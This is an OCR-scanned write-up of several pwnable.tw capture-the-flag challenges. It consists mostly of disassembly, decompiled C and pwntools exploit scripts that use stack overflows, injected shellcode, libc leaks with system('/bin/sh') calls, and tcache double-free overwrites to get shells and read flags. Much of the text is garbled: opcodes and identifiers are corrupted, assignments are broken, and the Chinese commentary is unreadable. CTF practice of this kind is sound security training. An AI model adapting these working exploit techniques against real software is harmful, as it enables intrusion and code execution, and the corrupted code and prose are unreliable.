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sir@sir-PC:~/desktop$ objdump -d start -M intel

start: R elf32-1386

Disassembly of section .text:

08048060 <_start>:
8048060: 54 esp
8048061: 68 9d 80 0x804809d
8048066: 31 cO eax,eax
8048068: 31 db ebx, ebx
804806a: 31 c9 ecx,ecx
804806¢c: 31 d2 edx, edx
804806e: 68 43 0x3a465443
8048073: 68 0x20656874
8048078: 68 61 0x20747261
804807d: 68 73 0x74732073
8048082: 68 4c 0x2774654c
8048087: 89 el ecx,esp
8048089: b2 14 dl,ex14
804808b: b3 01 bl,ox1
804808d: bo 04 al,ox4
804808f: cd 80 i 0x80
8048091: 31 db ebx, ebx
8048093: b2 3c dl,0x3c
8048095: bo 03 al,ox3
8048097: cd 80 i 0x80
8048099: 83 esp,0x14
804809c: c3

0804809d <_exit>:
804809d: 5c esp
804809%e: 31 cO eax, eax
80480a0: 40 i eax
80480al: cd 80 i 0x80
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8048087 : ecx,esp
8048089: dl,ex14
804808b: bl,ox1

804808d: al,ox4

804808f: i 0x80

KB gAY Tprintfe& 2, 2lecxI N AFTE ISR, AT DU ket 2 ik

8048091 : ebx, ebx
8048093 dl,0x3c
8048095 al,ox3

8048097 i 0x80

B AAS, A2 Tgets()R s, &
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sir@sir-PC:~/desktop$ checksec start
[*] "/home/sir/desktop/start’

Arch: i386-32-1little

RELRO: No RELRO

Stack: No canary found
NX: NX disabled
PIE: No PIE (©x8048000)

JERRAR 87 2 AR LR 4 0%, BT LAFRATTIT UL BB shellcode 5 A HLTH, 485 ik [Al #lshellcode i Hitl, ${Tshellcode;
BT LASC A 2 Tk i AR ik, BRI gR AT mov ecx,esp, T LART DL B BE S esp ity ihl,  ROAR (bl

from pwn import
p remote( 'chall.pwnable.tw',10000)
#tp = process('./start')
context.log level 'debug'
context.terminal ['deepin-terminal', '-x',
if args.G:
gdb.attach(p)
put_addr = 0x8048087
payload 'a'*20 + p32(put_addr)
p.recvuntil("Let's start the CTF:")
p.send(payload)
stark u32(p.recv(4))
print "addr: " hex(addr)
shellcode RV ENAVIEAVS WAV CHAVENAV AV YA RV A AV VEAVCEAV AV VARV CYAV CEAVCIAVCEAV CEAV G AVl AV (L AV 120
'a'*20 p32(stark+ex14) '\x90"'*4 + shellcode

p.interactive()
HFLAG{Pwn4bl3_tW_1s_your_st4rt}

X A% S shellcode % 5, 1M HARA T4 Y A 28 2 B B2 24 AR SRAAAT 5

8048571: 68 c8 00 00 00 oxc8

8048576: 68 60 a0 04 08 0x8042060
804857b: 6a 00 0x0

804857d: e8 ee fd ff ff 8048370 <read@plt

8048582: 83 c4 10 esp,0x10
8048585: b8 60 a0 04 08 eax,0x804a060
804858a: ff do eax
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080484cb <orw_seccomp>:

80484cb: 55 ebp

80484cc: 89 e5 ebp,esp

80484ce: 57 edi

80484cf: 56 esi

80484d0: 53 ebx

80484d1: 83 esp,0x7c

80484d4: 65 eax, gs:0x14

80484da: 89 DWORD PTR [ebp-0x1lc],eax
80484dd: 31 eax,eax

80484df: 8d eax, [ebp-0x7c]

80484e2: bb ebx,0x8048640

80484e7: ba edx,0x18

80484ec: 89 edi,eax

80484ee: 89 esi,ebx

8048410: 89 ecx,edx

80484f2: f3 movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
80484f4: 66 ff ff ff WORD PTR [ebp-0x84],0xcC
80484fb: Oc

80484fd: 8d eax, [ebp-0x7c]

8048500: 89 DWORD PTR [ebp-0x80],eax
8048503: 83 esp,oxc

8048506: 6a ox0

8048508: 6a ox0

804850a: 6a ox0

804850c: 6a ox1

804850e: 6a 0x26

8048510: e8 80483b0 <prctl@plt
8048515: 83 esp,0x20

8048518: 83 esp,ox4

804851b: 8d eax, [ebp-0x84]

8048521: 50 eax

8048522: 6a ox2

8048524: 6a ox16

8048526: e8 80483b0 <prctl@plt
804852b: 83 esp,0x10

804852e: 90

804852f: 8b eax,DWORD PTR [ebp-0xlc]
8048532: 65 00 00 00 eax,DWORD PTR gs:0x14
8048539: 74 j 8048540 <orw_seccomp+0x75
804853b: e8 ff 8048390 <__ stack chk_fail@plt
8048540: 8d esp, [ebp-0xc]

8048543: 5b ebx

8048544 : 5Se esi

8048545: 5f edi

8048546: 5d ebp

8048547: c3

(H 2 AL R 75 Eopen read writelX = NRFGR AT T R 2 FERNECS;

open_shellcode "xor ecx,ecx;xor edx,edx;mov eax,0x5;push 0x00006761;push Ox6c662f77;push Ox726f2f65;push Ox6d6
f682f;mov ebx,esp;int 0x80;"

read_shellcode "mov eax,@x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x40;int 0x80;"
4 SEHR X

write shellcode "mov eax,@x4;mov ebx,0xl;mov edx,0x40;int 0x80;"
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from pwn import
p remote( 'chall.pwnable.tw',10001)
#p = process('./orw")
context.log level 'debug’
context.terminal [ "deepin-terminal’,
if args.G:
gdb.attach(p)
open_shellcode "xor ecx,ecx;xor edx,edx;mov eax,0x5;push 0x00006761;push Ox6c662f77;push Ox726f2f65;push Ox6d6
f682f;mov ebx,esp;int 0x80;"

read_shellcode "mov eax,@x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x40;int 0x80;"

write_shellcode "mov eax,@x4;mov ebx,0x1l;mov edx,0x40;int Ox80;"

open_shellcode read_shellcode + write_shellcode
asm(shellcode)
p.recvuntil('Give my your shellcode:"')
p.send(payload)
p.interactive()
#FLAG{sh3LLcoding with op3n_r34d_writ3}

i # shellcraftfs)idishellcode

from pwn import
p = remote('chall.pwnable.tw',10001)
#p = process('./orw")
context.log level 'debug'’
context.terminal [ 'deepin-terminal’,
if args.G:
gdb.attach(p)

shellcode "

shellcode shellcraft.i386.pushstr("/home/orw/flag")

shellcode shellcraft.i386.1inux.syscall("SYS _open", ‘'esp"')

shellcode shellcraft.i386.1linux.syscall("SYS_read", ‘'eax', 'esp', 0x30)
shellcode shellcraft.i386.1linux.syscall("SYS write", 1, 'esp', 0x30)

payload = asm(shellcode)
p.recvuntil('Give my your shellcode:"')
p.send(payload)

p.interactive()

#FLAG{sh3LLcoding with_op3n_r34d writ3}
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from pwn import
context.log level 'debug'’
context.terminal [ "deepin-terminal’, '-x'
'./du’
= process(name)
remote("chall.pwnable.tw",10101)
ELF(name)
ELF('./bc.so.6")
if args.G:
gdb.attach(p)

0x1b0000o
0x3a940
0x158e8b

p.recvuntil('What your name :'

p.sendline('a'*24)

got_addr u3d2(p.recv()[30:34])-0xa

libc_addr = got_addr-got_off
libc_addr + system_ off
libc_addr bin_sh_off

for i in range(24):
p.sendline('0")
p.recv()

p.sendline('+")

p.recv()

for i in range(9):
p.sendline(str(system_addr))
p.recv()

p.sendline(str(bin_sh_addr))

p.recv()

p.interactive()

H#FLAG{tc4ch3_1s_34sy for yeu}

i #icreate_bullet:

int _ cdecl create_bullet(char *s)

{
size_t v2; // STe8_4

if ( *s )
return puts("You have been created the Bullet !");
printf("Give me your description of bullet :");
read_input(s, ©x30u);
v2 = strlen(s);
printf("Your power is : %u\n", v2); // SHIKE
((_DWORD *)s + 12) = v2; // +127#512 1 dword /< /%
return puts("Good luck !!");

Power up & %1 :




int _ cdecl power_up(char *dest)

i
char s; // [esp+6h] [ebp-34h]
size t v3; // [esp+36h] [ebp-4h]

0;
memset(&s, 0, Ox30u);
if ( dest )
return puts("You need create the bullet first !");
if ( *((_DWORD *)dest 12) Ox2Fu ) // *(dest+12)

return puts("You can't power up any more !");
printf("Give me your another description of bullet :");
read_input(&s, 48 ((_DWORD *)dest 12)); // |
strncat(dest, &s, 48 ((_DWORD *)dest 12)); /.
v3 = strlen(&s) ((_DWORD *)dest + 12);
printf("Your new power is : %u\n", v3);

((_DWORD *)dest + 12) v3;
return puts("Enjoy it !");

strncatef F0f sre 7 77 i i 2 B 15 N 2l dest = 7 H 10K (M destif KK B I \X00 IF4R), FEAEdIngs i J5 fE AR B A L —
N\X00';  Fif AFRATT AT LA%E 75 *(( DWORD *)dest + 123X M &, 4R 5 it H1 7 75 % [l ik
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from pwn import

context.log level 'debug'’

context.terminal [ "deepin-terminal’, '-x'
'./Silver Bullet'

#p = process(name)

p=remote('chall.pwnable.tw', 10103)

elf= ELF(name)
ELF('./libc_32.s0.6")

if args.G:

gdb.attach(p)

def creat():
p.recvuntil('Your choice :'
p.sendline('1")
p.recvuntil('Give me your description of bullet :°'

p.sendline('a'*47)

def power(data):
p.recvuntil('Your choice :'
p.sendline('2")
p.recvuntil('Give me your another description of bullet :')
p.sendline(data)

def beat():
p.recvuntil('Your choice :')
p.sendline('3")

creat();
power('b")
0x8048954
"\xff'*7 + p32(elf.plt['puts']) + p32(main) + p32(elf.got['read'])

p.recvuntil('Oh ! You win !!\n")

read_addr u32(p.recv(4))

libc_addr read_addr libc.symbols|[ ‘read’ ]
system_addr libc_addr libc.symbols|[ ‘system’ ]
bin_addr = libc_addr + next(libc.search('/bin/sh"))
success("libc_addr: " hex(libc_addr))

success("system_addr: hex(system_addr))
success("bin_addr: " hex(bin_addr))
creat();

('b")

"\xff'*7 + p32(system_addr) p32(main) p32(bin_addr)

power (pay2)
beat ()
p.interactive()

#FLAG{uSIng_S1Lv3r_bull3t 70 Pwn_th3 wlrld}

fHdouble_freelwil, 7EH]FH I T B it —smallbinfEname (A7 & L, i it deletefE K libert bk it 7% ik, fejm il L
F|fone_gadgetkgetshell;

from pwn import




context.log level 'debug'’
context.terminal [ "deepin-terminal’, '-x',
'./tcache_tear'
#p = process(name)
p=remote("chall.pwnable.tw",10207)
elf= ELF(name)
libc ELF('./bc.so.6")
if args.G:
gdb.attach(p)
#name : 0x602060

Hptr:0x602088

def add(num,data):
p.recvuntil('Your choice :'
.sendline('1")

.recvuntil('Size:")

.recvuntil('Data:")

p
p
p.sendline(str(num))
p
p

.sendline(data)

def delete():
p.recvuntil('Your choice :'
p.sendline('2")

show():
p.recvuntil('Your choice :'

p.sendline('3")

p.recvuntil( 'Name:")
p.sendline('sir")

add(0x70, 'a'*8)

add (@x70, p64(8x602550) )
add (0x70, 'bin/sh\x00")

p64(0) + p64(0x21) + 'b'*8*2 + p64(0) + p64(0x21)

add (060, p64(0x602050) )
add(0x60, ' /bin/sh\xe0")

p64(0) + p64(0Ox501) + 'q'*8*5 + p64(8x602060)

p.recvuntil('Name :")

1lib_addr = ub4(p.recv(6) '\x00\x00") Ox3ebcad
free_hook_addr lib_addr + 0x3ed8e8

one_gadget lib_addr + 0x4f322 #0x4f2c5 ©6x10a38c
success("1lib_addr: " hex(1lib_addr))
success("free_hook_addr: " hex(free_hook_addr))

success("one_gadget: hex(one_gadget))




add (0x40,p64(free_hook addr))
add (x40, ' /bin/sh\x00")
add (0x49,p64(one_gadget))

delete()
p.interactive()
HFLAG{tc4ch3_1s 34sy for you}
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